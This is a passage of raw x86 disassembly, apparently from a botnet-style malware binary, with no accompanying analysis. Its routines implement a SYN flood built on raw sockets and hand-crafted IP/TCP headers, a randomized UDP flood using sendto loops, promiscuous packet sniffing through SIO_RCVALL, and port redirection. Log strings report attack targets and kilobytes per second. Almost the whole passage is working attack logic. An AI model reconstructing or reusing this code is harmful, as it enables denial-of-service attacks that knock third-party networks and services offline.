dword_4D6775[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_426CE0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426EB0 proc near ; CODE XREF: sub_401DD9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426EB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E10C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426EB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_426F38 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426F38: ; CODE XREF: sub_426F20+Dj mov eax, esi pop esi retn 4 sub_426F20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426F50 proc near ; CODE XREF: sub_4010FFj jmp sub_4014C4 sub_426F50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426F70 proc near ; CODE XREF: sub_401E92j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426F70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_401DB6 sub_426F70 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4270E0 proc near ; CODE XREF: sub_401BB3j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021A3 sub_4270E0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_427171 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_427171: ; CODE XREF: ___:00427151j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_4271A4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271A4: ; CODE XREF: ___:00427195j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_4271C7 loc_4271BA: ; CODE XREF: ___:0042736Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271C7: ; CODE XREF: ___:004271B8j mov ecx, [esp+0B4h] mov ebp, dword_50FC2C push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27E08A6h mov [esp+48h], eax mov al, byte_4D64F9 test al, al jz loc_42741B mov ebx, dword_50FABC mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_427265 ; --------------------------------------------------------------------------- xor esi, esi loc_427265: ; CODE XREF: ___:00427261j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax nop call near ptr 71AB2BC0h mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A28 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A28 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx nop call near ptr 71AB2C69h cmp eax, 0FFFFFFFFh jz loc_4271BA nop call near ptr 27E08A6h mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_427417 mov al, [esp+13h] test al, al jz short loc_4273B9 push 2710h push 3E8h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4273B9: ; CODE XREF: ___:0042739Ej push 0FFh push 0 call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 408EDCE8h, 0F9A09002h, 84004D64h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_427417: ; CODE XREF: ___:00427396j mov edi, [esp+18h] loc_42741B: ; CODE XREF: ___:0042724Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427520 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40187F mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_427541 dec eax or eax, 0FFFFFE00h inc eax loc_427541: ; CODE XREF: sub_427520+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BB3 sub_427520 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427590 proc near ; CODE XREF: sub_401785j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427590 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E11C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427590 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_427618 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427618: ; CODE XREF: sub_427600+Dj mov eax, esi pop esi retn 4 sub_427600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427630 proc near ; CODE XREF: sub_401159j jmp sub_4014C4 sub_427630 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427650 proc near ; CODE XREF: sub_401A05j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_401424 mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014D3 push eax call sub_401730 add esp, 14h test eax, eax jz short loc_42771E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_42771E: ; CODE XREF: sub_427650+A2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427650 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277C0 proc near ; CODE XREF: sub_401730j var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_436840 push esi push 11h push 2 push 2 nop call near ptr 71AB3B91h mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_427821 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_42781A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_42781A: ; CODE XREF: sub_4277C0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_427821: ; CODE XREF: sub_4277C0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_50FABC push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_42785D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42785D: ; CODE XREF: sub_4277C0+77j push esi nop call near ptr 71AB2B66h cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_42787B mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42787B: ; CODE XREF: sub_4277C0+ACj cmp esi, 0FFFFh jle short loc_42788E mov [esp+28h+arg_FFE8], 0FFFFh loc_42788E: ; CODE XREF: sub_4277C0+9Bj ; sub_4277C0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_4278A4 mov [esp+28h+arg_FFE4], 1 loc_4278A4: ; CODE XREF: sub_4277C0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_4278DE loc_4278CB: ; CODE XREF: sub_4277C0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_4278CB loc_4278DE: ; CODE XREF: sub_4277C0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_427970 mov ebp, dword_50FC5C loc_4278F6: ; CODE XREF: sub_4277C0+1AEj mov al, byte_4D64F9 test al, al jz short loc_427970 mov esi, 0Bh loc_427904: ; CODE XREF: sub_4277C0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax call near ptr 28302E5h nop dec esi jnz short loc_427904 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_42795B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+48h+var_36], ax loc_42795B: ; CODE XREF: sub_4277C0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_4278F6 loc_427970: ; CODE XREF: sub_4277C0+12Aj ; sub_4277C0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_4277C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4279F0 proc near ; CODE XREF: sub_40207Cj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A28 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_427A4D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: sub_4279F0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_427A6D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A6D: ; CODE XREF: sub_4279F0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi call near ptr 71AB2C69h nop push esi mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_4279F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427AD0 proc near ; CODE XREF: sub_401D9Dj var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_436840 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40187F mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40187F mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_446F70 mov eax, edi loc_427B37: ; CODE XREF: sub_427AD0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_427B5B test cl, cl jz short loc_427B57 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_427B5B add eax, 2 add esi, 2 test cl, cl jnz short loc_427B37 loc_427B57: ; CODE XREF: sub_427AD0+71j xor eax, eax jmp short loc_427B60 ; --------------------------------------------------------------------------- loc_427B5B: ; CODE XREF: sub_427AD0+6Dj ; sub_427AD0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_427B60: ; CODE XREF: sub_427AD0+89j cmp eax, ebx jnz short loc_427BB3 mov ebp, dword_4D6107 cmp ebp, ebx mov [esp+10h], ebp jz short loc_427B77 cmp ebp, 0FFFFFFFFh jnz short loc_427BBE loc_427B77: ; CODE XREF: sub_427AD0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax nop call near ptr 71AB50C8h lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_427BBE ; --------------------------------------------------------------------------- loc_427BB3: ; CODE XREF: sub_427AD0+92j push edi call sub_40187F add esp, 4 mov ebp, eax loc_427BBE: ; CODE XREF: sub_427AD0+A5j ; sub_427AD0+E1j cmp ebp, ebx jz short loc_427BC7 cmp ebp, 0FFFFFFFFh jnz short loc_427BCD loc_427BC7: ; CODE XREF: sub_427AD0+F0j mov ebp, dword_4D6107 loc_427BCD: ; CODE XREF: sub_427AD0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_427D0D lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_427D0D lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_427D0D push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_427D0D mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_427CF3 mov ebx, dword_50FC90 loc_427C63: ; CODE XREF: sub_427AD0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_427CE3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_427CBE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_427CDB ; --------------------------------------------------------------------------- loc_427CBE: ; CODE XREF: sub_427AD0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_427CE3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_427CDB: ; CODE XREF: sub_427AD0+1ECj call sub_40207C add esp, 8 loc_427CE3: ; CODE XREF: sub_427AD0+1C0j ; sub_427AD0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_427C63 loc_427CF3: ; CODE XREF: sub_427AD0+187j mov edx, dword_50FA84 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi call near ptr 71AB9639h nop loc_427D0D: ; CODE XREF: sub_427AD0+11Dj ; sub_427AD0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_427AD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427DC0 proc near ; CODE XREF: sub_401889j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427DC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_444F40 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E12C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427DC0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427E30 proc near ; CODE XREF: sub_401F82j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427E30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427EF0 proc near ; CODE XREF: sub_40179Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427EF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427EF0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427FC0: ; CODE XREF: ___:00401A14j ; ___:loc_402068j push esi mov esi, ecx call sub_40179E test byte ptr [esp+8], 1 jz short loc_427FD8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427FD8: ; CODE XREF: ___:00427FCDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015F5 test [esp+4+arg_0], 1 jz short loc_428008 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428008: ; CODE XREF: sub_427FF0+Dj mov eax, esi pop esi retn 4 sub_427FF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428020 proc near ; CODE XREF: sub_4015F5j jmp sub_40179E sub_428020 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428040 proc near ; CODE XREF: sub_4015AFj push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60B5 call sub_401848 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_401D9D add esp, 10h mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_428040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428160 proc near ; CODE XREF: sub_401884j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428160 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401F82 lea ecx, 